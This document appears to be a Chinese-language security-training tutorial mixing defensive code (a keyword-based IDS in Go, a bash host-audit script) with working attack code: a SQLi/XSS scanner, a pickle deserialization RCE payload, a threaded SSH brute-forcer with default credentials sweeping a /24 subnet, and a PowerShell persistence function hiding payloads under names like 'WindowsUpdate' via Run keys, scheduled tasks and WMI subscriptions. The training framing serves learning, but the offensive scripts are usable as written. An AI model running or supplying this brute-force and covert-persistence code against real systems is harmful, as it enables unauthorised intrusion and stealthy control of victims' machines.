1.2 安全工程师成长路线

# 安全工程师成长模拟器
class SecurityEngineer:
    def __init__(self):
        self.skills = {
            'network': 0,
            'programming': 0,
            'tools': 0,
            'vulnerability': 0,
            'defense': 0,
            'architecture': 0
        }
        self.certifications = []
    
    def learn(self, category, hours):
        self.skills[category] += hours * 0.1
        print(f"【成长】{category} 技能点 +{hours*0.1}")
        
    def get_cert(self, cert):
        self.certifications.append(cert)
        print(f"【认证】获得 {cert} 认证")
    
    def level(self):
        total = sum(self.skills.values())
        if total < 10: return "小白"
        elif total < 30: return "初级"
        elif total < 60: return "中级"
        elif total < 100: return "高级"
        else: return "专家"

# 示例成长路径
xiaodi = SecurityEngineer()
xiaodi.learn('network', 100)  # 网络协议学习
xiaodi.learn('programming', 200)  # Python/Go学习
xiaodi.get_cert('OSCP')
print(f"当前等级: {xiaodi.level()}")

二、Web安全实战训练营

2.1 漏洞挖掘框架

# 自定义漏洞扫描器核心代码
import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup

class VulnScanner:
    def __init__(self, target):
        self.target = target
        self.session = requests.Session()
        self.session.headers = {'User-Agent': 'Mozilla/5.0'}
    
    def check_sqli(self, url):
        payloads = ["'", "\"", "' OR 1=1--", "1 AND 1=1"]
        for p in payloads:
            r = self.session.get(url + "?id=" + p)
            if "error in your SQL syntax" in r.text:
                return True
        return False
    
    def scan_xss(self, form):
        xss_payload = "<script>alert('XSS')</script>"
        data = {}
        for input_tag in form.find_all('input'):
            if input_tag.get('type') in ['text', 'search', 'email']:
                data[input_tag.get('name')] = xss_payload
        r = self.session.post(form['action'], data=data)
        return xss_payload in r.text
    
    def crawl_and_scan(self):
        r = self.session.get(self.target)
        soup = BeautifulSoup(r.text, 'html.parser')
        
        # 扫描所有链接
        for link in soup.find_all('a', href=True):
            url = urljoin(self.target, link['href'])
            if self.check_sqli(url):
                print(f"[!] SQL注入漏洞发现: {url}")
        
        # 扫描所有表单
        for form in soup.find_all('form'):
            if self.scan_xss(form):
                print(f"[!] XSS漏洞发现: {form['action']}")

# 使用示例
scanner = VulnScanner("http://testphp.vulnweb.com")
scanner.crawl_and_scan()

2.2 漏洞利用实战

# 反序列化漏洞利用框架
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ('id > /tmp/exploit',))

# 生成payload
payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"利用payload: {payload}")

# 漏洞点模拟
def vulnerable_function(data):
    try:
        return pickle.loads(base64.b64decode(data))
    except:
        return None

# 触发漏洞
vulnerable_function(payload)

三、企业级安全防御体系

3.1 入侵检测系统(IDS)实现

// 基于Go的简易IDS
package main

import (
	"bufio"
	"fmt"
	"net/http"
	"os"
	"strings"
)

var rules = []string{
	"union select",
	"<script>",
	"../../",
	"eval(",
}

func checkRequest(req *http.Request) bool {
	// 检查URL参数
	for _, param := range req.URL.Query() {
		for _, rule := range rules {
			if strings.Contains(strings.ToLower(param[0]), rule) {
				return true
			}
		}
	}
	
	// 检查POST数据
	if req.Method == "POST" {
		req.ParseForm()
		for _, values := range req.PostForm {
			for _, v := range values {
				for _, rule := range rules {
					if strings.Contains(strings.ToLower(v), rule) {
						return true
					}
				}
			}
		}
	}
	
	return false
}

func logAlert(ip string, path string) {
	f, _ := os.OpenFile("alerts.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
	defer f.Close()
	
	w := bufio.NewWriter(f)
	fmt.Fprintf(w, "[ALERT] %s - %s\n", ip, path)
	w.Flush()
}

func handler(w http.ResponseWriter, r *http.Request) {
	if checkRequest(r) {
		logAlert(r.RemoteAddr, r.URL.Path)
		http.Error(w, "请求包含恶意内容", http.StatusForbidden)
		return
	}
	
	fmt.Fprintf(w, "正常访问: %s", r.URL.Path)
}

func main() {
	http.HandleFunc("/", handler)
	http.ListenAndServe(":8080", nil)
}

3.2 安全运维自动化

#!/bin/bash
# 安全巡检自动化脚本

# 1. 系统账户检查
echo "### 可疑账户检查 ###"
awk -F: '($3 < 1000) {print $1}' /etc/passwd
echo ""

# 2. 异常进程检查
echo "### 高CPU进程 ###"
ps -eo pid,user,%cpu,cmd --sort=-%cpu | head -n 5
echo ""

# 3. 网络连接检查
echo "### 异常外连 ###"
netstat -antp | grep ESTABLISHED | awk '{print $5,$7}' | sort | uniq -c
echo ""

# 4. 文件完整性检查
echo "### 关键文件变更 ###"
rpm -Va | grep '^..5'
echo ""

# 5. 日志分析
echo "### 失败登录尝试 ###"
grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr

四、红蓝对抗实战演练

4.1 内网渗透框架

# 内网渗透自动化工具
import paramiko
import socket
import threading

class IntranetPenetration:
    def __init__(self):
        self.credentials = [
            ("admin", "admin123"),
            ("root", "toor"),
            ("user", "123456")
        ]
        self.ports = [22, 3306, 3389]
        self.found = []
    
    def ssh_brute(self, ip):
        for user, passwd in self.credentials:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(ip, port=22, username=user, password=passwd, timeout=5)
                print(f"[+] 成功爆破: {user}:{passwd}@{ip}")
                self.found.append((ip, user, passwd))
                ssh.close()
                break
            except:
                continue
    
    def port_scan(self, ip):
        open_ports = []
        for port in self.ports:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(1)
            result = sock.connect_ex((ip, port))
            if result == 0:
                open_ports.append(port)
            sock.close()
        return open_ports
    
    def scan_network(self, network):
        threads = []
        for i in range(1, 255):
            ip = f"{network}.{i}"
            t = threading.Thread(target=self.scan_ip, args=(ip,))
            threads.append(t)
            t.start()
        
        for t in threads:
            t.join()
        
        return self.found
    
    def scan_ip(self, ip):
        ports = self.port_scan(ip)
        if 22 in ports:
            self.ssh_brute(ip)

# 使用示例
pentest = IntranetPenetration()
results = pentest.scan_network("192.168.1")
print("爆破成功的主机:", results)

4.2 权限维持技术

# Windows权限维持脚本
function Add-Persistence {
    param(
        [string]$Payload,
        [string]$Method = "Registry"
    )

    switch ($Method) {
        "Registry" {
            # 注册表自启动
            $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
            $name = "WindowsUpdate"
            $value = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"$Payload`""
            New-ItemProperty -Path $regPath -Name $name -Value $value -Force
        }
        "ScheduledTask" {
            # 计划任务
            $action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -Command `"$Payload`""
            $trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME
            Register-ScheduledTask -TaskName "SystemMaintenance" -Action $action -Trigger $trigger -Force
        }
        "WMI" {
            # WMI事件订阅
            $filterArgs = @{
                EventNamespace = 'root\subscription'
                Name = 'WindowsUpdateFilter'
                Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
                QueryLanguage = 'WQL'
            }
            $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $filterArgs
            
            $consumerArgs = @{
                Name = 'WindowsUpdateConsumer'
                CommandLineTemplate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command `"$Payload`""
            }
            $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $consumerArgs
            
            $bindingArgs = @{
                Filter = $filter
                Consumer = $consumer
            }
            $binding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $bindingArgs
        }
    }
}

# 使用示例
$payload = "Start-Process -FilePath calc.exe"
Add-Persistence -Payload $payload -Method "Registry"
